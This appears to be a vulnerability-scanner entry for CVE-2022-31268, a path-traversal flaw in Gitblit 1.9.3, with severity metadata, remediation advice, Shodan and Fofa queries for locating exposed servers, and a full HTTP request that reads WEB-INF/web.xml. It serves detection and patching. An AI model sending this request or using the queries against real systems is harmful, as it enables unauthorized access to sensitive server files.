| Title | Gitblit 1.9.3 - Local File Inclusion |
|---|---|
| Author | 0x_Akoko |
| Severity | High |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the affected system. |
| Remediation | Upgrade Gitblit to a version that is not affected by the vulnerability (CVE-2022-31268). |
| CVSS Score | 7.5 |
| EPSS Score | 0.90039 |
| CVE ID | CVE-2022-31268 |
| CWE ID | CWE-22 |
| Shodan Query | http.html:"Gitblit"http.title:"gitblit"http.html:"gitblit" |
| Fofa Query | title="gitblit"body="gitblit" |
| Tags | cve cve2022 lfi gitblit vuln |
Gitblit 1.9.3 is vulnerable to local file inclusion via /resources//../ (e.g., followed by a WEB-INF or META-INF pathname).
GET /resources//../WEB-INF/web.xml HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.7.20) Gecko/ Firefox/3.8
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-31268.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-31268.pcap
N/AN/A